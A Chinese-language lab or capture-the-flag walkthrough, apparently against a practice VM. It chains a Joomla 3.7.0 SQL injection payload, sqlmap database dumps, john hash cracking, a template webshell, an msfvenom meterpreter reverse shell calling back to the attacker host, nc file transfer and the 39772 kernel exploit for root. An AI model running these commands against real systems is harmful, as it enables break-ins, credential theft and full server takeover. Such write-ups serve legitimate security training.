首先设置成下面的样子再运行
开放80端口,去访问一下。搜索对应CMS漏洞,存在sql注入漏洞,Joomla 3.7.0 SQL注入漏洞。payload
/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)
sqlmap -u "http://192.168.254.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)" --dbs //爆数据库
sqlmap -u "http://192.168.254.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)" -D joomladb --tables //爆表名
sqlmap -u "http://192.168.254.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)" -D joomladb -T '#__users' --columns //爆列名
sqlmap -u "http://192.168.254.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)" -D joomladb -T '#__users' -C 'username' --dump //爆用户名
sqlmap -u "http://192.168.254.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)" -D joomladb -T '#__users' -C 'password' --dump //爆密码
得到的密码写入1.txt,使用john爆破
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > 1.txt
john 1.txt
得到密码snoopy。目录扫描到管理后台,administrator。登录
msf攻击,需要登录到后台后才可以利用
python -c 'import pty; pty.spawn("/bin/bash")' 得到交互shell
uname -r
查看内核版本,searchsploit搜索,进行提权
刚好有nc命令,反向传输文件
成功,接下来编译执行,发现失败,继续传44300.c,编译运行,同样发现不行
uname -a 找版本
searchsploit Ubuntu 16.04
继续根据版本号来找exp,尝试这个
有希望,到github下载发现404,但是在下面这找到
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/blob/main/bin-sploits/39772.zip
nc传输
nc -nv <kali_ip> 1234 > 39772.c 目标机执行
nc -lp 1234 < 39772.c kali执行
unzip 39772.zip -d ./ 解压.zip文件
cd 39772
tar -xvf exploit.tar 解压.tar文件
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
运行完后等待一会,提权成功
涉及到的其他方法
使用工具joomscan扫描版本、目录等,获取一些信息
joomscan --url <url>
searchsoloit joomla 3.7.0
可以查看有哪些漏洞,发现有两个漏洞符合当前版本
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
,文件给出漏洞信息以及利用方法
拿shell的时候可以从后台管理入手,在模板中修改index.php文件,添加一句话
至于路径,可以用dirb或dirsearch扫描到
连接成功,之后就可以很方便在蚁剑上传文件到服务器
利用msfvenom建立反弹shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=<kali_ip> LPORT=4444 > msfshell.php
拖到本机桌面后再拖到/var/www/html/目录
之后进入msfconsole,输入下列命令
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost <kali_ip>
set lport 4444
run
浏览器访问